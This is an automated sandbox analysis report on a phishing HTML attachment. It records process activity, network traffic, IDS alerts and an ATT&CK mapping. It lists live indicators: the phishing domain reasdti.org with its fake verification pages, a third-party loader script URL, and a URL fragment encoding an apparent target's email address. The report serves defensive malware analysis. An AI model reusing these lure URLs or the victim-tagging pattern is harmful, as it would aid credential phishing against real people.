Edit tour

Windows Analysis Report
Paradigm-corp00990__098.html

Overview

General Information

Sample name:	Paradigm-corp00990__098.html
Analysis ID:	1645442
MD5:	448fb5d55cd720e407dc5b8eb69fc248
SHA1:	ca45fd1056e8de1cf0b08edad6dd18834ea87660
SHA256:	55d6378973f937b62196eaf13e5b8d0a693b4231c477da81b12754329c50bb85
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

Detected javascript redirector / loader

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

IP address seen in connection with other malware

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w11x64_office

chrome.exe (PID: 3616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Paradigm-corp00990__098.html MD5: DBE43C1D0092437B88CFF7BD9ABC336C)

chrome.exe (PID: 4888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1844,i,13182036796964104358,8402941263385870906,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250316-180048.776000 --mojo-platform-channel-handle=2180 /prefetch:11 MD5: DBE43C1D0092437B88CFF7BD9ABC336C)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Paradigm-corp00990__098.html	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Suricata Signatures

ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-21T19:13:29.027551+0100	2024228	2	Possible Social Engineering Attempted	178.128.102.215	443	192.168.2.24	60867	TCP
2025-03-21T19:13:31.992685+0100	2024228	2	Possible Social Engineering Attempted	178.128.102.215	443	192.168.2.24	60868	TCP
2025-03-21T19:14:14.156970+0100	2024228	2	Possible Social Engineering Attempted	178.128.102.215	443	192.168.2.24	60878	TCP

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3395sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmocf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: unknown	Network traffic detected: HTTP traffic on port 60850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60817
Source: unknown	Network traffic detected: HTTP traffic on port 60909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60894
Source: unknown	Network traffic detected: HTTP traffic on port 60838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60890
Source: unknown	Network traffic detected: HTTP traffic on port 60924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60896
Source: unknown	Network traffic detected: HTTP traffic on port 60849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60820
Source: unknown	Network traffic detected: HTTP traffic on port 60898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60838
Source: unknown	Network traffic detected: HTTP traffic on port 60913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60832
Source: unknown	Network traffic detected: HTTP traffic on port 60884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60849
Source: unknown	Network traffic detected: HTTP traffic on port 60853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60840
Source: unknown	Network traffic detected: HTTP traffic on port 60921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60844
Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60843
Source: unknown	Network traffic detected: HTTP traffic on port 60892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60851
Source: unknown	Network traffic detected: HTTP traffic on port 60919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60850
Source: unknown	Network traffic detected: HTTP traffic on port 60863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60853
Source: unknown	Network traffic detected: HTTP traffic on port 60886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60909
Source: unknown	Network traffic detected: HTTP traffic on port 60820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60860
Source: unknown	Network traffic detected: HTTP traffic on port 60923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60863
Source: unknown	Network traffic detected: HTTP traffic on port 60871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60915
Source: unknown	Network traffic detected: HTTP traffic on port 60879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60871
Source: unknown	Network traffic detected: HTTP traffic on port 60922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60870
Source: unknown	Network traffic detected: HTTP traffic on port 60917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60911
Source: unknown	Network traffic detected: HTTP traffic on port 60888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60910
Source: unknown	Network traffic detected: HTTP traffic on port 60865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60926
Source: unknown	Network traffic detected: HTTP traffic on port 60914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60884
Source: unknown	Network traffic detected: HTTP traffic on port 60860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60924
Source: unknown	Network traffic detected: HTTP traffic on port 60925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60887
Source: unknown	Network traffic detected: HTTP traffic on port 60900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60920
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60886
Source: unknown	Network traffic detected: HTTP traffic on port 60885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60885

Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.24:60832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.24:60833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.24:60838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.24:60840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.24:60849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.24:60850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.24:60853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.24:60857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.24:60859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.24:60870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.229:443 -> 192.168.2.24:60871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.24:60886 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3616_690263247

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3616_690263247

Jump to behavior

Source: classification engine

Classification label: mal56.phis.evad.winHTML@24/67@16/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Paradigm-corp00990__098.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1844,i,13182036796964104358,8402941263385870906,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250316-180048.776000 --mojo-platform-channel-handle=2180 /prefetch:11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1844,i,13182036796964104358,8402941263385870906,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250316-180048.776000 --mojo-platform-channel-handle=2180 /prefetch:11	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ

HTTP Parser: https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://reasdti.org/page/images/verifnotif2.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/emailphone.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/favicon.ico	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/logo.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/info.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify_app.png	0%	Avira URL Cloud	safe
https://reasdti.org/	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/key.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/default.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/back.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/enter.png	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Paradigm-corp00990__098.html	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/appnotif2.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/sign.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/push.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify_sms.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/question.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/images/verify_code.png	0%	Avira URL Cloud	safe
https://reasdti.org/page/styles/app.css	0%	Avira URL Cloud	safe
https://reasdti.org/?cf-turnstile-response=0.z3amStZR32zF8Aj_ZGDe2s4esdRjBtlXEVXWq4U9kfHeuVjniF2NjSHinnVccOX3Gp5CchSDgH4NxCWste9t-JF60YJLBsRd3vyDkMeXbbyyybay2aiwi0-xgDfezdw-0emPePGYkM-IuV42f64v5o7ZsMOcVhJT-wFZK3leUhumWXEihdeEoOwFYWPw2CDuyja5JVlWqEY3vnqEmFNB2qu0jGkLKILE9v2ARYA38kglNTsWwyYaIzf9qb8Xz8FGnNiwBEXmfaSAahUNZdivaKpcTmYhxCdZFpglw6DVpN7mDyTkRrvs-hvMtiQbvUqt-qj64xcX96reKDw4Z0Ybk70Y4nFEuWuHxvO3UZJt7CocLYsuduXjzVRwg5ScaSKLwQc1UGNarTVIzj5bufpPQC8K0lQ8-TQxB5LHGcW84_UfIizQa1bEDfdvxCOFgvW80nWau9wsvrCnvpijHc5MDmLYhl1jj_bW-dbvd_OlcOTOLNfsMQoRsmqp5BEL49QY5EOp1Ub-bc3l3vJftRxs78iqT9z67IfhRcWH8ZEjKqZ6E5v3PUSOIkmqYi0VigPq60-CQWjx_S9ikf1tXFUja3AW1ttX5psH9HphQ_0MNynMEeLm742wEab2agw-sNDygxHDCsFwC3oXhOl9ELDtOOCPKvlIMyB_gU37t5Y5iCJYgVn2Mphw6tPH8IHzW7eT03RHrsPzkRyqoVpwgGIPBCJM5Eqssa2kWSBBD0FF3pSZmkCkeiXnoivAUGNUymrjbzBUnWzozA8MADGvEVtAqs5elEz1q_hTKNYzq6aKVJ4ktBwAb0KGgRZs8da2SLfQz6oWoeZPyVGS4Jsf266keQ.8Pu2OYpCyqLvTdKm7PCMqA.bcaa90b0ea70a89654b8775b36538485e85c5bceb1a8bd2f226bacff5c3d2538	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
code.jquery.com	151.101.194.137	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.251.40.196	true	false	high
reasdti.org	178.128.102.215	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://reasdti.org/page/images/favicon.ico	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/key.png	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/syntaxerror019/HTML-STO/ld.min.js	false		high
https://reasdti.org/page/images/info.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/verify.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/emailphone.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/	true	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/logo.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://reasdti.org/page/images/verifnotif2.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/verify_app.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://reasdti.org/page/images/default.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/appnotif2.png	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/Paradigm-corp00990__098.html	true	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/push.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/back.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://reasdti.org/page/images/enter.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=923f6c22fa388c73&lang=auto	false		high
https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ	true		unknown
https://reasdti.org/page/images/verify_sms.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/923f6c22fa388c73/1742580799284/p4kNKSHTK8iQ0jm	false		high
https://reasdti.org/page/images/sign.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/question.png	false	Avira URL Cloud: safe	unknown
https://reasdti.org/page/images/verify_code.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/923f6c22fa388c73/1742580799285/8802678fbf099d4f4884a220f556b10476b4812f5f847960f9037edd7fe51c01/azFz30E1DcIIdhX	false		high
https://reasdti.org/page/styles/app.css	false	Avira URL Cloud: safe	unknown
https://reasdti.org/?cf-turnstile-response=0.z3amStZR32zF8Aj_ZGDe2s4esdRjBtlXEVXWq4U9kfHeuVjniF2NjSHinnVccOX3Gp5CchSDgH4NxCWste9t-JF60YJLBsRd3vyDkMeXbbyyybay2aiwi0-xgDfezdw-0emPePGYkM-IuV42f64v5o7ZsMOcVhJT-wFZK3leUhumWXEihdeEoOwFYWPw2CDuyja5JVlWqEY3vnqEmFNB2qu0jGkLKILE9v2ARYA38kglNTsWwyYaIzf9qb8Xz8FGnNiwBEXmfaSAahUNZdivaKpcTmYhxCdZFpglw6DVpN7mDyTkRrvs-hvMtiQbvUqt-qj64xcX96reKDw4Z0Ybk70Y4nFEuWuHxvO3UZJt7CocLYsuduXjzVRwg5ScaSKLwQc1UGNarTVIzj5bufpPQC8K0lQ8-TQxB5LHGcW84_UfIizQa1bEDfdvxCOFgvW80nWau9wsvrCnvpijHc5MDmLYhl1jj_bW-dbvd_OlcOTOLNfsMQoRsmqp5BEL49QY5EOp1Ub-bc3l3vJftRxs78iqT9z67IfhRcWH8ZEjKqZ6E5v3PUSOIkmqYi0VigPq60-CQWjx_S9ikf1tXFUja3AW1ttX5psH9HphQ_0MNynMEeLm742wEab2agw-sNDygxHDCsFwC3oXhOl9ELDtOOCPKvlIMyB_gU37t5Y5iCJYgVn2Mphw6tPH8IHzW7eT03RHrsPzkRyqoVpwgGIPBCJM5Eqssa2kWSBBD0FF3pSZmkCkeiXnoivAUGNUymrjbzBUnWzozA8MADGvEVtAqs5elEz1q_hTKNYzq6aKVJ4ktBwAb0KGgRZs8da2SLfQz6oWoeZPyVGS4Jsf266keQ.8Pu2OYpCyqLvTdKm7PCMqA.bcaa90b0ea70a89654b8775b36538485e85c5bceb1a8bd2f226bacff5c3d2538	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.251.40.196	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
178.128.102.215	reasdti.org	Netherlands	14061	DIGITALOCEAN-ASNUS	false

Private

IP
192.168.2.6
192.168.2.24

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1645442
Start date and time:	2025-03-21 19:12:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Paradigm-corp00990__098.html
Detection:	MAL
Classification:	mal56.phis.evad.winHTML@24/67@16/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SystemSettingsBroker.exe, SIHClient.exe, appidcertstorecheck.exe, conhost.exe, svchost.exe
